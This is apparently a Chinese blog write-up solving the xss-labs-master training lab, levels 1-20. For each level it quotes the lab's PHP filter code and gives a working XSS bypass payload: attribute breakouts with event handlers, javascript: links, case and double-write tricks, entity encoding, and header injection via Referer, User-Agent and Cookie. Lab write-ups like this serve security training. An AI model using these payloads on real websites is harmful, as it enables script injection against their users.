【Web安全靶场】xss-labs-master 1-20

xss-labs-master

其他靶场见专栏

文章目录

level-1

第一关没有进行任何限制,get请求参数直接回显至界面,修改参数值就行。

复制代码
?name=<script>alert(1)</script>

level-2

第二关页面是一个输入框,输入的值会回显至页面中,所以先试一下**<script>alert(1)</script>**发现页面回显的消息直接就是我们输入的内容,并没有任何作用。

根据上面的图片可以知道我们的尖括号被转义为实体(没看到的话就选中右击选择Edit as HTML),因为源代码中使用了htmlspecialchars($str) 。下面的敏感符号也会转义为HTML实体:&号,左右尖括号,单双引号,(这个函数具有三个参数,第一个参数为必选参数,表示待处理的字符串,第二个参数为可选参数,专门针对字符串中的引号操作,默认值:ENT_COMPAT,只转换双引号。ENT_QUOTS,单引号和双引号同时转换。ENT_NOQUOTES,不对引号进行转换。第三个参数为处理字符串的指定字符集)

php 复制代码
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

但是input标签中我们输入的值也会显示在那,所以我尝试构造闭合,在input标签实现跨站脚本攻击。

php+HTML 复制代码
<input name=keyword  value="'.$str.'">

首先尝试输入一个引号探针试一下引号有没有被过滤,没有被过滤就使用onfocus焦点事件、onblur竞争焦点事件。

  • onfocus焦点事件:
复制代码
11" onfocus=alert(1)>
  • onblur竞争焦点事件:
复制代码
1" onblur=alert(1)>

以及其他可以改变DOM结构的payload都可以...

level-3

输入<script>alert(1)</script>发现回显的地方尖括号变为HTML实体了,输入双引号尝试在input标签构造闭合,发现双引号被转为HTML实体。查看源代码,发现回显的地方和输入框的value均使用了htmlspecialchars函数。

php+HTML 复制代码
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<input name=keyword  value='".htmlspecialchars($str)."'>

它对双引号进行了防御但是没有对单引号进行防御,所以我们可以通过事件标签促发xss攻击,因为**单引号在某些浏览器也可以和双引号构成闭合。**这里使用onfocus鼠标事件,任何其他可以改变DOM结构的是按都可以促发攻击。

  • onfocus鼠标事件:
复制代码
1' onfocus='alert(/xss/)

level-4

这一关还是一个输入框加上一个回显,输入一个探针<script>'",查看input标签发现尖括号被吞了,但是单引号双引号正常存在。查看源代码发现尖括号被替换了:

php+HTML 复制代码
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str3.'">

所以直接使用onfocus或者onblue等等,但是不能使用改变DOM结构的标签了。

  • onfocus鼠标事件:
复制代码
1" onfocus="alert(1)

注意点就是需要闭合后面的双引号...

level-5

这一关还是一个输入框和回显,输入<script>'"探针试一下,发现script被下划线截断了,单双引号尖括号还是正常存在,所以猜测这一关就是对敏感词进行截断的,输入on发现on一样被截断,所以直接使用script和onfocus之类的不行了。查看源代码:

php+HTML 复制代码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str3.'">

通过代码可知,这一关对<script和on进行截断,并且使用小写转化函数,所以不能使用大小写绕过了。我们可以做到的就是闭合,闭合的话就可以改变DOM结构,但是很多的标签触发条件都是onfocus什么的,这时就可以使用javascript伪协议。

  • javascript伪协议:
复制代码
1"><a href="javascript:alert(1)">xssssss</a>

level-6

输入探针<sCript><script"'Oonn发现script和on被添加下划线,但是大小写绕过的script却没有被添加下划线,同样的单双引号、尖括号也没有被转义。

查看源代码发现好多的标签选项都被过滤了,但是这没有使用小写转换函数,所以直接使用大小写绕过是可以的。

php 复制代码
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">
  • javascript伪协议:
复制代码
"><a HREF="javascript:alert(1)">xsssss</a>
  • onfocus鼠标事件:
复制代码
1" Onfocus=alert(1)>

level-7

输入探针<sCript><script"'Oonn发现script和on无论大小写都不见了,单双引号也不见了,但是尖括号还在,所以估计这些内容是被小写转化并且被replace了。

进行replace操作一般会尝试双写绕过,所以输入scrscriptipt发现,这一关仅仅消去了一个script标签,消去之后还会拼接成一个新的script,所以可以进行双写绕过。查看源代码:

php+HTML 复制代码
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">
  • javascript伪协议双写绕过:
复制代码
1"><a hrhrefef="javascrscriptipt:alert(1)">xssssss</a>

level-8

这一关和前面的就有些不一样了,我们输入的内容会作为a标签的href值,所以我们尝试输入script,发现script被截断了。查看源代码:

php 复制代码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

<input name=keyword  value="'.htmlspecialchars($str).'">
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

由于这是href的值我们可以尝试构造javascript伪协议,script被截断了,所以我们可以尝试将其转化为HTML实体:

复制代码
javascript  =>   &#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;
  • 转化为HTML实体:

    javascript:alert(1)

level-9

这一道题也是友情链接,他给出的提示是"您的链接不合法?有没有!"输入sCript,发现sCript转化为小写并且被截断,并且使用HTML实体显示的是链接不合法,所以我们要给他一个正确的链接,它认为正确的链接是什么呢?查看源代码:

php 复制代码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

<input name=keyword  value="'.htmlspecialchars($str).'">

if (false === strpos($str7, 'http://')) {
   echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
} else {
   echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>';
}

这一关使用了strpos函数,这个函数的作用是返回指定文本第一次出现的位置,如果没有出现那就返回false,所以我们只需要输入有http://的链接就行了,对于伪协议,我们把它加上,并且把它注释掉就行了,并且要加在后面。

  • 转化为HTML实体的伪协议:
复制代码
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)//http://

level-10

这一关是值是在URL的参数上,不在输入框上了,意味着鼠标事件没有用了,必须使用尖括号。使用探针sCript<'>"on=On发现,只有尖括号被转化成HTML实体。本来想着将尖括号转化成HTML实体看看行不行,但是发现转化的实体是带有&参数分隔符的。查看源代码发现,有一个被隐藏的form表单,里面有三个参数:

html 复制代码
<form id="search">
	<input name="t_link" value="" type="hidden">
	<input name="t_history" value="" type="hidden">
	<input name="t_sort" value="" type="hidden">
</form>

所以在URL中加上这三个参数,发现仅仅第三个input标签变化了,所以猜测第三个标签是在value选项中插入值的。

查看源代码确实如此:

php 复制代码
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

所以我们尝试在t_sort中使用探针,仅仅尖括号被改变了而已,所以我们直接onfocus鼠标事件,注意要将type的值改为text否则无法显示出来,或者F12修改Elements也可。

  • onfocus鼠标事件:

  • ?keyword=1&t_link=1&t_history=1&t_sort=1" onfocus="alert(1)" type="text

level-11

这一关还是URL参数的,有了上一关的经验,这次查看源代码,发现多出了一个input标签:

html 复制代码
<form id="search">
	<input name="t_link" value="" type="hidden">
	<input name="t_history" value="" type="hidden">
	<input name="t_sort" value="" type="hidden">
	<input name="t_ref" value="http://192.168.255.128/xss-labs-master/level10.php?keyword=1&amp;t_link=1&amp;t_history=1&amp;t_sort=1%22%20οnmοuseοver=%22alert(1)%22%20type=%22text" type="hidden">
</form>

第四个标签的值很熟悉,这是我上一个链接,所以我猜测这是和referer头有关的,所以抓包!构造闭合!鼠标事件!改type的值!查看源代码确实如此,原来的t_sort不能用了:

php 复制代码
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
  • Refer头:
复制代码
Referer: 1" onmouseover=alert(1) type="text

level-12

查看源代码发现还是多出来一个input标签,但是它的名字是t_ua,所以猜测这是和User-Agent有关的,查看源代码:

php+HTML 复制代码
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

<form id=search>
	<input name="t_link"  value="'.'" type="hidden">
	<input name="t_history"  value="'.'" type="hidden">
	<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
	<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>

可见这一关对引号和on之类的没有进行过滤,所以我们进行抓包,从User-Agent中实现xss攻击。

复制代码
User-Agent: 1" onfocus=alert(1) type="text

level-13

这一关和前面一样也是隐藏了一些输入框,对于这一关,隐藏了一个t_cook,所以猜测这是和cookie相关的,分析源代码:

php 复制代码
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

<form id=search>
	<input name="t_link"  value="'.'" type="hidden">
	<input name="t_history"  value="'.'" type="hidden">
	<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
	<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>

进行抓包,对input使用onfocus鼠标事件:

复制代码
Cookie: user=1" onfocus=alert(1) type="text

level-14

网上说这一关有点问题

level-15

这一道题没有任何输入框也没与任何回显,查看元素发现底下有一个**<!-- ngInclude: undefined -->**,一开始并不知道这是什么东西,搜了一下,ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点,包含的文件需要包含在同一个域名下。查看了一下源代码,发现这一关是可以接收参数了,因为一开始进去没有参数所以ngInclude才是undefined:

php 复制代码
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

因为这里对闭合符号进行处理,所以我想的是传递一个有漏洞的界面,将第一关传上去,注意要加上单引号:

但是如果将<script>alert(1)</script>作为第一关的答案传上去,是没有弹窗的,但是这个script标签会在代码元素中,那就试一下使用a标签,结果可知,主动触发的是可以的。

level-16

这一关正常了,是一个url参数的题,首先输入一下探针吧,<Script '" Oonn>=href,结果是尖括号、空格、script被替换,其中空格和尖括号被替换成HTML实体,script被过滤,大小转化为小写。查看源代码:

php 复制代码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);

没有空格的化可以使用%0a和%ob等代替,script使用不了就用input标签的onfocus:

复制代码
?keyword=<input%0atype="text"%0aonfocus=alert(1)>

level-17

这一关进去之后会看到一个"该插件不受支持",查看元素发现有一个**<embed src="xsf01.swf?=" width="100%" heigth="100%">**,所以猜测这个src是和参数有关的,查看源代码:

php 复制代码
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

果然存在两个参数,我们传递这两个参数的时候,点号会把他们连接起来,尝试使用引号和尖括号发现都被转义了,当我发现src中会截断空格,所以尝试在arg01中添加空格:

复制代码
?arg01=1  onmouseover&arg02=alert(1)

level-18

这一关和上一关一样的,用一样的方法就可以了...搞不懂了...

复制代码
level18.php?arg01=1 onmouseover&arg02=alert(1)

level-19

这一关我尝试使用空格截断,发现并不可以所以查看源代码,发现这一关在双引号中进行点号运算,所以空格截断不可取:

php 复制代码
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

使用单引号尝试能不能和闭合一下,发现单引号仅仅是普通文本,尖括号也是作为普通文本,这样子常规的方法无法下手了。接着我搜索xsf03.swf是什么来的,于是访问一下http://192.168.255.128/xss-labs-master/xsf03.swf,将文件下载下来,要使用专用的FlashPlayer播放器打开,但是使用了也打不开。。。网上搜了一下,弹出了个swf反编译,所以试了一下。得到version未定义,接着传入参数\<a href='javascript:alert(/xss/)'>xss</a>,但最后结果没有显示,不会做了,逆向的题

level-20

不会做...

相关推荐
海尔辛4 小时前
学习黑客5 分钟读懂Linux Permissions 101
linux·学习·安全
zizisuo5 小时前
面试篇:Spring Security
网络·数据库·安全
玉笥寻珍5 小时前
Web安全渗透测试基础知识之HTTP参数污染篇
网络·网络协议·安全·web安全·http
小白学安全hhhh5 小时前
OFCMS代码审计-freemaker注入&sql注入&xxe&xss&文件上传
web安全
玉笥寻珍6 小时前
Web安全渗测试基础知识之SSL交互异常利用篇
网络协议·安全·web安全·网络安全·交互·ssl
7yewh6 小时前
MCU程序加密保护(二)ID 验证法 加密与解密
单片机·嵌入式硬件·安全
不会代码的小徐6 小时前
容器安全-核心概述
安全·网络安全·云计算
彬彬醤8 小时前
查询电脑伪装IP,网络安全速查攻略!
网络·网络协议·tcp/ip·安全·web安全·http·https
Python私教9 小时前
Rust:重新定义系统编程的安全与效率边界
开发语言·安全·rust
iSee85711 小时前
DocsGPT 远程命令执行漏洞复现(CVE-2025-0868)
安全·web安全